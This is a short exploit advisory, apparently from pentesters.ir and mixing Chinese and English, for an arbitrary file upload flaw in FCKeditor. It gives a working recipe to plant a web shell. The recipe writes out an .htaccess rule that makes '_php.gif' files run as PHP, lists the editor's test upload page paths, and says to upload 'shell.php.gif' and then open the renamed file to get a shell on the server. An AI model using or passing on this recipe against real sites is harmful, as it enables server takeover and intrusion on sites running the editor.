In The Name Of GOD
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author  : pentesters.ir
[+] Website : PenTesters.IR
---------------------------------------------------------
1.创建一个htaccess文件:
code:
<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>
 
2.通过fc上传该htaccess

http://www.2cto.com /FCKeditor/editor/filemanager/upload/test.html
http://www.2cto.com /FCKeditor/editor/filemanager/browser/default/connectors/test.html
----------------------------------------------------------------------------------------------
3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.
5.http://www.2cto.com /anything/shell_php.gif
6.Now shell is available from server.
---------------------------------------------------------